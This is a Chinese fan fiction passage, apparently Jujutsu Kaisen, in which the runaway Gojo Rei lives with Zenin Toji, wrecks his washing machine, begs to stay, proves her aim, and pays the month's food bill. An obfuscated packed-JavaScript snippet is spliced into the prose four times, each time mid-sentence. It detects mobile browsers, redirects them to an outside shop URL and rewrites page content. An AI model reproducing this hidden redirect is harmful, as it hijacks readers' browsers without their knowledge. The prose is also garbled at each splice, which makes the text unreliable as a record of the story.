没下雨的时候倒还好,一下起雨来就无处可躲了,藏在乌云里的尘土伴着雨水渗进衣服里,溅起的泥水和几次意料之外的跌倒早就把和服下摆染成了淡淡的泥土色。现在浑身上下都干透了,便能看到从浅葱色布料上析出的颗粒状灰尘了。 所以,从头看到脚,她确实是脏兮兮的。真是个叫人丢脸的事实呢。 五条怜摸摸脸颊,指尖上传来的触感热乎乎的。她不想表现得太过磨蹭,可点头的动作怎么看都透着一点慢吞吞的意味。 “我明白了,甚尔先生……可是,我没有其他的衣服。” 现在才想起来这个重点。 甚尔满不情愿的“啊?”了一声,用筷子尾挠挠后脑勺,转而用手托住下巴,好一副懒散模样。 尽管看起来好像神游天外,但他确实是在思索没错。 他拿着筷子,随手一指角落里的旧衣柜,让她在里面随便找身衣服穿穿就行。这么大度,真叫人觉得意外。 “随便哪件都可以吗?”五条怜不可思议地眨眨眼睛,“任何一件?” 甚尔的脸上露出了些许不耐烦的神色:“同样的话用不着讲两遍吧?” 啊呀。把他惹生气了。 五条怜很有自知之明地闭上嘴,什么都不说了,飞快地把简易饭碗里的所有食物统统塞进嘴里,从鼓鼓囊囊的脸颊中挤出一句“我吃饱了”,小跑着向旧衣柜而去。 平心而论,在甚尔说这玩意儿是个衣柜之前,其实她根本没办法把这个拉环上挂了五六七八个衣架、每个衣架上又搭了一二三四件衣服、就连晾衣杆熨衣板和一看就很稀罕的咒具都架在旁边的深色和装衣服的柜子联系起来。 很抱歉的说,她原本以为这块区域只是被熏黑的墙面。 先把小心翼翼地把咒具挪到一边去。不知道该安置到什么地方才好,总之先放进左边的纸箱里吧。再把熨衣板和搭满衣服重得要命的衣架也放到旁边去,现在总算能拉开衣柜的门了。她不自觉地屏住了呼吸。 以为会闻到什么古怪的味道,比如像是密闭了太久的阴天房间里会有的那种潮湿气味。但是没有。扑面而来的是一股淡淡的花香味,带着一点温暖的日光感。窄小柜子里只有一半部分挂着衣服,都是无趣而平淡的黑白灰。五条怜踮起脚尖,费劲地扯下了一件深灰色的粗糙毛衣。 都用不着穿到身上或是依着肩膀比对大小,这个尺寸一看就是甚尔的,袖口几乎能垂到她的膝盖上。暂且把这件衣服放到一边吧。 五条怜知道,在眼下这种非常时刻,挑挑拣拣是万万不行的,可一眼看去,甚至几乎都要钻进柜子里了,也没找到衣柜里有哪件衣服是合身的。她沮丧地从衣服堆里退出来,疲惫地喘了一大口气。还来不及鼓起精神再次搜寻,倒是先在衣柜的角落里发现了一个纸箱。 既然是放在衣柜里头的箱子,那箱子里也应该是衣服吧?她推理出了这个很合理的猜想。 赶紧把纸箱子拉出来,瓦楞纸摩擦在木板上,制造出了不太愉快的噪音。五条怜没有注意到身后的甚尔已经投来了目光——她正迫切地寻找着合适的衣服呢。 “喂!” 生硬的喊声从公寓一角传来,五条怜下意识回头。 甚尔在瞪着她,以恼怒得近乎有些恐怖的视线。嘴角的伤疤被拉扯成了狰狞的模样。 “别乱动。” “……对不起。” 她立刻把箱子推回了原处,心跳快得好像快要呕出来了。 总觉得接下来还会有更狠厉的怒骂落在自己的头上,而痛骂的对象当然是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14346003|152678||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自己不听话的行动方式。光是想一想这种可能性,她都要觉得羞愧难当了。 但怒骂并未到来。 在那声很短暂的、有些近乎警告的怒斥之后,身后就没有再传来声音了。五条怜心有余悸,总忍不住回头偷瞄几眼,而几次飞快的偷瞄,看到的都是慢吞吞吃饭的甚尔。他的表情变得很正常,从这个角度望过去,甚至看不到嘴角的伤口。 算了。 她停下了寻找的动作,在心里告诉自己。 这里没有合身的衣服。仅有唯一的选择,是穿上过大的毛衣和长到拖地的裤子。不过没关系。她会适应的。 于是躲进浴室,用力扯开捆得紧紧的、在很长一段时间中都难以让她喘息的腰带,再把和服和长襦袢一起脱掉,漂亮的布料在瓷砖地面上皱成奇怪且难看的形状,她一眼都不想多看。 她也试图忽略那砸在地面上的“叮”一声,可如此清脆的声响怎么才能忽略呢?她不得不低下头,再次看着从自己身上褪下来的这身衣服。 一直藏在衣袖里的戒指掉出来了。 银色的、比她的大拇指还要宽上一圈的戒指,这曾经是家主的——父亲的所属物。在她决定逃离五条家的几天之前,这枚戒指就已经藏在她的衣袖里了。 啊,可不是她偷的,虽然她确实应该为了偷走面包而打上小贼的标签,但这枚戒指当真不是她偷拿来的。 她只是在花园里拾到了它,想要归还给家主,而他甚至不愿意多看自己一眼,眯起的目光像是在注视被踩死的老鼠。然后对她说,请不要来打扰他。 甚至是“请”,疏离得让人心寒。 五条怜直到这个男人并不爱她,他眼中的自己从来只是一个工具,并且是已经失去了全部价值的工具。但直到那个瞬间,她才清晰地意识到,他甚至不会试着去爱自己,这整个家也不爱她。 然后,她逃走了。丢下了那个家里唯一可能爱着自己的五条悟,孤身逃跑在寒冬的雨日里。 再然后,就来到这里了。 从第一次见到戒指直至现在,不过几天功夫而已,却漫长得像是上个世纪了。戒指还在她的手里,仿佛依旧在试图将她与那个家连结起来。五条怜不想再看了,闭起眼,合拢了手掌。 套上陈旧的磨出了一百颗毛球的柔软毛衣,把束口的运动裤也穿上,戒指被藏进口袋里。长长的衣袖把她的手臂完全埋起来了,在一片柔软中摸索了好几回,她才终于从袖子里挖出了自己的两只手。 衣袖往上卷四圈,裤腿只需要卷三圈,腰上的绳子差点打了个死结。五条怜完全没注意到冬天的静电在她穿毛衣时悄悄把她的脑袋炸成了蒲公英。她捧起和服,轻声叹着气,这才走出去。 “那个……禅院先生。”犹犹豫豫磨磨蹭蹭,她挪动着挤进甚尔的视线里,“这身衣服怎么办呢?” 甚尔盯着她的衣服,视线一点一点挪到了她炸开的脑袋上,发出了“哼”一声不知道算不算得上笑的声音。 “洗了呗。”他说。 “哦……”五条怜点点头,“怎么洗呢?” 现在甚尔连“哼”的笑声都发不出来了,无奈地憋着嘴,拿筷子一指阳台。 “那里。洗衣机。” “好的好的好的……” 五条怜已经能感觉到他的耐心见底了,要是再问傻兮兮的问题,保不齐会像动了衣柜里的纸箱一样挨骂。 匆匆跑到阳台上,看着陈旧得有点发黄的洗衣机与上面三个完全搞不懂的旋钮,她又有点懵了。虽然真的不想这么说,但是…… ……洗衣机要怎么用呢? 5. 请勿闯祸 笨蛋般的问题,问过一次就足够了。五条怜深谙此道,所以绝没有勇气把“该怎么操作洗衣机呀?”这种愚问傻兮兮的说出口。 回头看看甚尔,他正低着头,直到现在都还没吃完饭,显然也不会发现踟蹰在她脸上的迷茫。看来只能靠自己了。 五条怜不自在地摸了摸脸颊,把这台泛黄的机器从左到右、从上到下,就连三个旋钮都认认真真地看了几遍。不管怎么看,她都觉得它很像是台大箱子。 既然是箱子,就该有能翻开的盖子才对。这倒是好找,沿着洗衣机边缘的凹槽往上一抬,就能翻开盖子了。踮起脚尖,探身往黑洞洞的内部看去。里头好像有个镂空的篮子,把衣服扔进里头,是不是就可以了? 她磨磨蹭蹭地把设想化作实际,忽然听到甚尔在喊她。 “把外头篮子里的衣服也一起丢进去洗了吧!” 这家伙,对她的困惑和茫然一无所知(也有可能是视而不见),使唤起她来倒是不遗余力。 五条怜撇撇嘴,多少有点不太高兴,不过心里也知道现状如何,只好无奈地捧起脚边的脏衣篮,把里头压得紧实的衣服一股脑倒进去,然后合上盖子。 再然后,她就不知道该怎么做了。 理论上来说,她应该转动控制面板上的三个旋钮,以此启动机器——就像夏天和五条悟一起看的那部科幻电影里的飞船船长所做的那样。 道理很明确,做法却很茫然。这台机器实在太旧了,刻度和旋钮的名称都被磨掉七七八八,根本看不明白。五条怜不敢随便上手,只能试探性地摸摸弄弄,一不小心居然拉开了侧边的一个小抽屉。 ……哦不对,不是抽屉。上头写着“洗涤剂”,还有红色的基准线,应该是要放什么东西进去吧? 洗涤剂洗涤剂洗涤剂,洗涤剂在什么地方呢? 五条怜踮脚翻翻上方架子,又俯下身来,把下面脏兮兮的一块空间也看了个遍,多少有点艰辛,好在终于找到了洗衣液。小心翼翼地把这飘散着花香味的蓝色液体倒进小抽屉里,哆哆嗦嗦合上。 好像做了很多事,但进度没有推进半点。在想办法启动洗衣机之前,做什么好像都不能真正地派上用场。 心一横,五条怜做出了决断。她把每个旋钮都往右边转了二十度,老旧的机器倏地发出了咕咚咕咚的声响。 显然是成功启动了,洗衣机开始以奇妙的飞快频率摇晃起来,真像是马上要从地面蹦起来了,有点吓人。五条怜窝囊地后退了两小步,总觉得自己的心跳也快和洗衣机的摇晃同一频率了。 摇晃着摇晃着,事情貌似不对劲了起来。 最明显的,就是这台机器发出的声音,从最初的“咕咚咕咚”变成了“哐当哐当”,真叫人怀疑是不是洗衣机里头的篮子在殴打衣服——或者反之。 再仔细看看,它的摇晃幅度明显变得更大了,以陀螺般的姿态进行顺时针的小幅度转动,当真像是宇宙飞船的推进器。合拢的盖子也翻开了一点,压不住的泡沫扑哧扑哧往外冒,很快就膨胀到了彻底撑开塑料盖的程度。 失去了盖子的遮挡,裹挟着大团大团白色泡沫的脏水完全被滚筒甩出来了,东一坨西一摊飞得到处都是,还有一团落在了她的鼻尖上,花香气四溢,可惜不是什么好事。 我搞砸了——在意识到这个事实的同时,她瞥见到坐在余光一角的那个男人站起身来了。 真不想承认,她现在的心跳绝对比洗衣机的抖动频率更加快了。 阳台上的情况很危急,但甚尔走得很慢,磨磨蹭蹭拖着步子走进了这团花香味迷雾中,一眼就看到了躲进了角落里努力减少存在感的某只缩头乌龟,还有发癫地往外吐泡沫的老旧机器,与满地泡沫。 真是,地狱图景。 甚尔都懒得叹气了,伸手去摸电线,用力一拽,拔掉了插头。 洗衣机停下了,世界安静了,泡沫在花香味中发出微弱的爆裂声。直到现在还动个不停的,就此剩下了五条怜而已。 泡沫好像钻进了拖鞋里,甚尔低头瞄了一眼,目光这才扫向角落,一开口就是阴沉氛围:“你在干嘛啊,大小姐?” “洗、洗衣服?”五条怜被他吓得不自信了。 “洗衣服不至于弄成这样吧,大小姐?” “您……您能不能别这么叫我了……” 羞愧感压得她的脑袋越来越低,差点掉到地上去了。 甚尔说话的语气听起来不太像是生气了,可说实在的,五条怜觉得他现在还是发火更好一点,而不是冷冰冰地盯着自己。 “不然还能怎么叫你?” 五条怜感觉冷汗淌到鼻尖上了:“对不起……可我不会用这东西。” “呃啊——” 他发出了几近无奈的哀嚎声,看来真是有够无奈的。 五条怜还以为他会向自己示范一下洗衣机的使用办法,或至少用简单的话语指导一下。可是没有。 就像是完全忘记了洗衣机与满地狼藉的存在,他疲惫地穿过客厅,径直走到厨房,一脚踩扁了地上的空果汁罐,右手在口袋里摸索着,掏出了皱巴巴的半盒香烟,晃了晃,甩出一根,打算用煤气灶点燃香烟,但婴儿床的吱呀声盖住了咔哒咔哒的点火动静。他的动作明显顿了顿,又朝着五条怜——其实是阳台的方向——走回来了,叼着未点燃的眼,费劲地从桌上的一堆垃圾里找到了打火机,这才用力推开窗。 咔哒——小小的火苗在风中摇晃,触碰到了烟草,将其燃烧。他深吸了一口,把充满尼古丁气味的吐息呼在窗外的风中。 “我说。”他肯定是在对五条怜说,“你还是回去吧。” 冬日的冷风灌进屋子里。 今天已经不下雨了,却也不是什么晴日,阴沉天空让风沾满了灰扑扑的冷意,吹过她的发间,一下子带走了所有的体温。她好像又回到昨晚的雨夜了,就连舌头都变得僵硬。 “为……为什么?” 甚尔又吸了口烟,轻轻咋舌:“因为很烦嘛。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14346004|152678||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 关爱未成年儿童?他劝人回家的理由肯定不会如此高尚。 非要形容的话,他说出这话的理由,和近年来东京二十三区的流浪动物愈发增多的原因一模一样,就是良心不足,并且嫌麻烦。 最开始还有点新鲜感,热诚也尚且还在,想着说不定真能派上用场,脑子一热,就把小动物——在此处的情景中应该代入“五条怜”——带回来了。可时间一长,热诚消失,小动物——此处依旧是五条怜——开始闯祸,责任感就此破了个大洞,再也兜不住未来会面对的一切可能性。况且禅院甚尔知道,自己不是什么有责任心的家伙。 就算抛开这些不说,他刚才还突然想到一点麻烦的事情。 “禅院家和五条家一向交恶,要是被五条家知道禅院家的人拐走了自家的后代,肯定不是什么好事。” 他耸耸肩膀。 “我早就和禅院家划清界限了,他们不会在乎我做了什么事情。但谁知道你们五条家会不会捣乱或者向我追责。我可不要被牵扯进咒术师们的家族恩怨里去。” 甚尔说着,做了个举双手投降的动作,五条怜却觉得他像是在他们之间划下了一道很清晰的界限。 好冷。好冷。 她几乎要颤抖,口袋里的戒指似乎也被风吹动了,一下一下打在腿上。他的话让她意识到了事实——她尽力忽略,可无法逃避的事实。 “不会的……五条家不在乎我。他们谁也没有来找过我。” 不是没有找到她,而是没有找过她。理由很简单,她存在的价值在很多年前就已经消失了。 甚尔望着天空,但不像是在思索,只搭腔了一句:“这倒是。就连你的六眼哥哥也没来找你吧?” “……”真是一语中的话语啊,“嗯……” 嗯。就连五条悟都没有找过她。为什么呢?她猜不到,也不愿去想。 这不重要。 “所以,您不用担心的。”她急急地说,“不会发生任何冲突的,也绝不会再给您添麻烦。所以……” 五条怜有好多想说的,可是话语却卡住了,只能说出这些苍白的字眼,不够动听,也不够真诚。难怪甚尔从头到尾都没有投来目光,似乎没有在听她说话,只有沉默的尼古丁气味还在燃烧。 难闻的烟草烧到了尽头,甚尔把烟头往窗框上一碾,丢进不太像是烟灰缸的马克杯里。他依旧伏在床边,没有再抽一支烟,似乎也不觉得风很冷,任由粗硬的发丝被完全吹乱,下巴上的胡茬也能感觉到风的方向。阳台上的花香味也快要被吹得消失无踪了。 视线一角,穿着他的旧衣服的五条怜双手交叉地站着,看起来扭捏又拘谨,犹犹豫豫仿佛要说点什么,可是半句话也没能挤出来。 麻烦的小孩。他心里依旧怀揣着这个想法。 于是,他说: “她……以前和我一起住在这里的女人,她死了——还没过上什么好日子,倒是先一步撒手人寰了。所以,和我待在一起,不会是什么好事情” 6. 植物在说话 为什么要和一个小屁孩说这些话?她肯定听不懂。 甚尔后知后觉地直到现在才冒出一点后悔的情绪。 他想,自己会这么说的目的,大概率是为了把五条怜吓跑——当然也有小概率是由于那场死亡发生以来,他还不曾愿意直面过,也无人可说,而现在似乎是个可以说起这件事的时刻。 把话说出口了,他没有觉得更轻松或是更高兴,始终压在心里的沉重感好像变得更加鲜明了,几乎要让人喘不过气。他决定再点燃了一支烟,想要让尼古丁焚烧掉这郁闷的感觉,可惜没能成功,心中的沉闷感没有消失半点。 而那个可怜兮兮的、五条家的小姑娘还缩在余光的一角里,扭扭捏捏,紧握在身前的双手几乎要绞成麻绳。就这么沉默了好一会儿,她还是没能挤出半个字来。 现在好像在诉说一个悲伤的事情。五条怜想。 她觉得她应该说些安稳人的话,或者是别的类似于加油鼓劲之类的话语,可她一点也不擅长安慰人,毕竟在过去的人生中她从没有收到过太多的安慰。 当然了,她不会被吓退。 “……没关系,我一直以来也没有遇到过什么好事。” 出生之前母亲就死了,她是从尸体里诞生的生命,绝对糟糕的开局。 再后来,诞生时被赋予的“使命”也结束了,她好像彻底变成了一片虚无。 曾经她觉得,人生中唯一的好事,是五条悟成为了她的哥哥,哪怕是自己的名字完全是他的复刻,哪怕相似的脸一点一点变得不同,只要想到还能走在他的身后,五条怜就觉得很高兴了。 但是,离家之后,就连他也没有来找过自己。是对她一言不发逃离了家的行为生气了吗,还是他其实打心底不在乎自己?她想不到答案,还好答案也已经不重要了。 她不能再抓着人生中这一点点好事不放了。 “我知道我今天是闯祸了,但我一定会很有用的。”五条怜说服着甚尔,也像是在努力说服自己,“请您让我留下吧。除了这里之外,我没有其他地方可去了。” 眼前的男人依旧板着一张脸,似乎被没有被她成功打动。她鼓起勇气,往甚尔身旁挪近了一些,抽抽嘴角,努力挤出一丝苦笑——但怎么看都像是在哭。 “拜托您啦,禅院先生……接下来我绝对不会搞砸任何事情的。” 冷风又灌进来了,带着格外浓重的尼古丁气味,原来是甚尔吐了一口烟到风中。他轻轻咋舌:“别叫我‘禅院’,听着就烦。” “唔……” 原来不能这么称呼他呀。 五条怜搓搓手,飞快地转动着大脑。 “甚尔先生。”只剩下这个称呼最合理且尊敬了,“让我留下来吧。可以吗,甚尔先生?” 甚尔叼着烟,烦躁地搓搓后脑勺,一声不吭。 要他说,这小屁孩最麻烦的一点就是要命的缠人——抢面包的时候死缠烂打,带回家了也一直停留在视线里,就连想要把她赶走的现在都粘得死死的,果然很麻烦。 垂下眼眸,甚尔发现她又靠近了些,交叠的双手几乎要碰到他的毛衣下摆,却依然保持着一点很礼貌的距离。她费劲地仰着脑袋,这是他第一次很认真地注视她的双眼。 五条怜的眼睛是深蓝色的,有点像是海洋的颜色,但看起来并不是那么清澈的色泽,目光也仿佛没有聚焦,只是雾蒙蒙的一片。而在这双眼睛里,他还能看到自己漆黑的倒影,带着冷冰冰的深色,也难怪她现在会是这么一副紧张姿态了。 甚尔轻声叹息,又猛吸了一口气,几乎要把香烟燃到尽头。 “那你有什么拿得出手的本事吗?”他问。 “唔……” 从甚尔嘴里说出来的,终于不是一味的拒绝了。五条怜有点意外。 她觉得自己应该能说出一点什么的,可以话语却莫名卡住了,交叠的手指又开始搅弄起来,焦躁感让她更紧张了。 如果非要说“拿得出手的本事”的话,那大概只有…… “我的眼力,应该还算不错?”五条怜低下头。 说起自己的好,让她觉得很不好意思。 “搭配上咒力一起的话,射箭可以射得很准。” 从去年开始,家主让她学习和弓。至于学习的目的是什么,她一直都不知道。她也不喜欢这种礼节繁杂的事情,尽管从她手中离弦的几乎每一支箭几乎都可以射中靶心。 “哦——”甚尔看起来有点兴致缺缺,复述着她的话,“射箭很准。” 他好像没有太明白自己的意思。不过这不要紧,她可以演示给他看。 五条怜靠在窗边——直到这会儿她居然还和甚尔保持着恰到好处的社交距离——低头往下看。 这里是廉租公寓的第八层,下方的绿化带种了一排纤细的桦树,挂在枝头的最后几片枯叶阻挡不住冬日冷风的侵袭,要看就要被彻底吹飞了。 注视着这摇摇晃晃的枯叶,五条怜垂手,用两只手指从马克杯里夹起烟头,轻轻一掷。她的视线依然注视着那片枯叶。 视线的尽头即是终点。 枯叶脱离枝头的瞬间,被柔软的烟头彻底戳短,啪嗒一下,掉向了地面。 “哦——” 甚尔发出的虽然还是一样的应声,但听起来可比刚才多出了更多的情绪,还垂下手搓了搓她的脑袋,把本就静电的头发揉得更乱了。 “确实能派上点用场。行吧,你就留下来好了。” 无比渴望的答案就这么不期而至般落在了自己身上,五条怜有点意外,就算是难以置信地眨了眨眼,她还是忍不住想要说出一句“真的吗”。 甚尔合拢了窗户,冲她随性地一摆手:“你要是不想待的话,那也随便你。” 这话一说,简直就像是把选择权的钥匙又丢回给她了。 五条怜愣了愣,匆忙点头:“想待的,想待的!” “那让你帮忙做事的时候就勤快点哟,五条。” “好好。那什么,禅……呃,甚尔先生。” 一不留神,走得飞快的他已经把自己丢到身后了。五条怜加快脚步,急切地想要说出口的话语也一起追上了他。 “您可不可以不要叫我‘五条’?”她摸摸脸颊,“挺怪的。” 甚尔难得的在这个问题上非常大度:“那要怎么叫?” “叫……叫我阿怜,可以吗?以前阿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14346005|152678||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 悟就是这么喊我的。” 后半句话简直多余,可惜她是在把话说出口之后才意识到这一点的,完全失去了补救的机会,只能任由尴尬感蔓延了。 姑且算是好消息的消息大概是,甚尔对这种小事完全不在意,沉闷地应了一声“嗯”,又钻回到被炉里去了。 一个是说着“我什么都会帮你做的”走到穷途末路的丧家之犬,一个是会嘀咕“你得好好帮上忙”的颓废家伙,总觉得好像能搞出什么很了不得的事情。 实际上完全没有。 说实在的,对于甚尔的职业,或是更深入的身份,五条怜一点都没有概念。她即不知道从何问起,也没能顺利地靠自己的观察得出结果。 就平安夜的遭遇来看,她有理由相信,禅院甚尔是个类似于杀手之类的家伙,可是这份猜测并没能得到事实的佐证。 连日来,他都窝在家里——准确的说,是被炉里,不出门也不做别的什么,除了每天两次打电话让楼下的小饭店送饭到家之外,其他时间都耗在了电视上,双脚几乎要扎根在被炉的最中心,每次门铃响起都会差使她去开门。 至于五条怜自己嘛,她当然也没做出什么了不起的事情。 在寄居蟹甚尔先生逐渐化身为被炉中一颗不会动的植物的过程中,她成功把客厅沙发收拾成了自己的卧床,顺便搞懂了洗衣机的使用方法,并且悲伤地发现自己的和服被甚尔的黑衣服染成了特别怪的灰绿色。 撇开这点小事,她当然还是在继续以每两个小时一次的频率对家里的小怪物……抱歉,应该是禅院惠,进行喂食,并且在他准备哭闹的时候使出摇晃大法。 这孩子和我真像呢——把禅院惠抱在怀中时,五条怜总会这么想。 尚在襁褓之中就失去了母亲,多么痛苦的共鸣感。最鲜明的情感似乎不是悲痛,而是遗憾,遗憾着人生中最重要的角色,对她的认知却只有完全的空白。但惠一定不知道她在想什么,否则他也不会伸出手,轻轻地拍在她的脸上,然后咯咯咯笑出声来。 小怪物的小小恶作剧成功了,现在五条怜也想笑了。 门铃响起。 “喂!”植物在说话,“开门!” “知道啦!” 尽管很认真地和甚尔说了害怎么称呼自己比较好,他也确实答应了,实际上却也不常喊她“阿怜”,而是会选择“喂”或是“哎”之类的称谓。 五条怜把禅院惠稳妥地放好,转身小跑到玄关。 临近中午,能在这时候造访的,当然只有楼下饭馆的送餐小哥了。 果然,一推开门就看到了熟悉的装束和阳光笑容,还有饭菜的香气。 深吸一口气。嗯,今天是天妇罗定食吧?她闻到炸物特有的气味了! 五条怜接过饭菜,阳光的送餐小哥依然笑眯眯地站在门口,让她有点恍惚。 平常不是送好餐就走了吗,怎么今天还留着呢? 反常的展开让她有点懵,也呆呆地在原地站了一会儿,还没来得及组织好语言,送餐小哥终于开口了。 “是这样的,我们店的老板想要我来提醒您一下,已经到月底的结账时间了,是时候支付之前的餐费了哟!” 7.茶泡饭 果然是过分阳光的家伙,就连催债的发言都能说得这么高高兴兴的。所以五条怜愣了几秒钟,才反应过来这是怎么一回事。 原来在这家店点餐的费用是在月底集中结算的呀! 五条怜几乎很少在除了五条家以外的地方吃饭,自然也没有过为吃饭花钱的机会。况且每天这位阳光小哥来送餐的时候都是把饭盒往她手中一放,就笑眯眯地走掉了,直到今天才第一次提起“钱”的这个话题,以至于她理所应当地认为吃饭和付钱这两件事之间根本不存在任何关联……啊,真是太蠢了。 稚嫩的羞耻感压低了五条怜的脑袋。她默默低下头,好一会儿才缓过来。 “我明白了。”看来羞耻感还没有完全消失,她的声音听起来仍像是叽叽咕咕,“现在就要把钱给你了,是吗?” “要是今天能结清就最好啦!马上这一年就要结束了嘛。” “唔……是呢。” 要不是听他这么说了,五条怜真的会忘记明天正是这一年的最后一天。 不过,明天甚尔肯定还是会接着点这家店的外卖的,等到明天再结清账单,时间上更合理一些吧? 五条怜在心里这么想着,不过没有把话说出口,只是微微颔首,请他在门口稍等一会儿,得到了肯定答复之后才轻轻关上门。 “甚尔先生……甚尔先生!” 戳戳被炉里的植物,还要顺便叫唤两声,他才会情愿动弹一下,顺带丢出一句“干嘛?”。 五条怜总觉得他肯定已经知道了刚才发生在门口的对话。玄关离客厅又不远,过分阳光的送餐小哥音量还不低,绝对能够穿透这段距离,顺利落进甚尔的耳朵里。可他偏偏要多余问一句。 在心里组织了一下语言,她挑出重点:“楼下饭馆催你结清这个月的账单。” 听着这话,甚尔撇了撇嘴,脸上的不情愿翻了个倍。这点小小的变化足够佐证五条怜的猜想了——他明明听到了,还是非要问自己一遍才愿意接受事实。 看他这幅表现,还以为他不情不愿地会说点推脱的说辞,然后拒绝付钱,实在没想到他居然只在不爽地“哼”了一声,然后就把手伸进裤口袋里掏钱包了,钝钝的指尖拨开夹层,飞快数过里头的钞票,像是松了口气,把钱包丢给她。 “拿去吧。”他摆摆手。 抛开眼下的情景不说,甚尔的这句话听起来确实很大度。五条怜小声向他道谢(压根用不着),匆匆跑到玄关,重新打开了门。 “抱歉抱歉……”她把钱包递出去,“让您久等了。” “没事的。” 拿钱数钱算零钱,阳光小哥的动作分外麻利,三两下就把钱包同找零一起放进了她的手里,留下一句元气满满的“感谢您一直以来的光顾!”,笑着跑走了,而关上门的五条怜却忍不住叹了口气。 好累啊。真是一场不容易的对话。 和过分阳光的人类相处,难免落得过分疲惫的下场。 而比她更想叹气的,是收到空了一大半的钱包的甚尔。 “那小子,偷拿我的钱了吧?”他扯着嘴角,好一副冷冰冰的凶狠模样,“我的钱包都瘪了!” “我把他给我的收银条夹在里面了,您可以看看。” 听她这么说了,甚尔才动手抽出收银条,折成四折的长长纸条在空气中弹了三下,终于恢复到了原本的长度,上面翔实地记录了整个十二月来的点餐记录。他眯起眼看了两行就放下了,叫五条怜去拿计算器过来,害她一时有点懵。 “计算器放在哪儿了呢?” “电视机下面的抽屉里。” “好的好的。” 飞快跑过去,又飞快地跑了回来,五条怜把计算器带到了甚尔的手中。 接下来当然是一段旷日持久的啪嗒啪嗒声,深藏在禅院家一整年都没使用过的计算器迎来了难得的高强度工作,最后得出的却是一个理所应当的结果。 账单无误,阳光小哥没有收错钱——也就是说甚尔的钱包是真的瘪了。 也不知道是不是这个事实太具有冲击力了,还是出于别的什么原因,整一个下午甚尔都不说话了,晚上也没有再点餐,估计是被郁闷的情绪填饱了肚子。 五条怜没觉得郁闷,所以到了晚上,她切实地开始觉得饿了。 肚子空空的滋味向来是不好受的。眼下唯一值得庆幸的是,她的饥饿虫暂时还没有发出什么奇奇怪怪的丢人声响,饥饿感也成为了只有她一个人知晓的秘密。 没关系没关系,等到饿过劲了,就不会觉得难受了。 她在心里这么告诉自己,努力把注意力完全放在眼前的电视节目上,顺便暗自期待禅院惠能够放声大哭一场。 要是他当真开始闹起来,自己无疑需要调动浑身解数去哄他。如此一来,注意力自然能够从饥饿感上挪走。尽管多少有点杀敌一千自损八百的意味,但只要能把那种恼人的空荡感从脑海中赶走,就绝对不是什么坏事! 不过嘛,现实是否当真能够像设想得那样顺利,其实是个很看运气的事情。五条怜今晚的运气没有最后好到能够心想事成,认清了这一点的她决定还是投身于电视节目之中。 现在正在播放的,是最近大火的漫才组合的脱口秀舞台。也不知道他们是怎么火起来的,就算在舞台上,说的也净是些无聊的冷笑话,只有偶尔几个才能够戳中笑点。五条怜忍不住要笑起来,可要是真笑出声了,好像会显得很怪。 家里静悄悄的,只有电视的声音,还有旁白配上的如同罐头那样乏味的笑声而已。 甚尔好像不会笑。无论是看搞笑的脱口秀舞台,或者是其他真正有趣的综艺节目,他都不会露出笑脸,正如此刻,就算他正横躺在自己前面,根本看不到他的脸,五条怜也能猜想出他正如何板着面孔的模样。 有些这般表情的他,看什么节目都仿佛在看严肃的犯罪类纪录片。 五条怜垂低眼眸,看着电视机闪烁的荧光在甚尔的脸颊与头发上打出一层浅浅的光,漆黑的影子就此像是有了切实的形状。 来到这个家有几天了,平安夜的记忆却像是很久很久以前的事情。她不再觉得甚尔有多么可怕了,却还是不知道他究竟是个怎样的人。于是,伏在眼前的这个巨大人形,变得更像是巨大的谜团 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14347628|152678||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了。 她是不是该主动了解他呢?还是继续像现在这样生活着,等待着迷题在未来一点一点解开?五条怜想不好。 荧光晃动了一下,甚尔依旧躺着,只丢出沉闷的一句:“盯着我干嘛?” 哎呀,被发现了。可他的眼睛明明看不到自己呀? 五条怜赶紧收回目光,想了想,说:“甚尔先生,您多大了?” “嗯?” 甚尔似乎不太理解她为什么要问出这种这种问题,不过还是像模像样地盯着天花板,开始思索起来。 “嗯……二十五。” 滴答——时针指向十二,这一年的最后一天到来了。 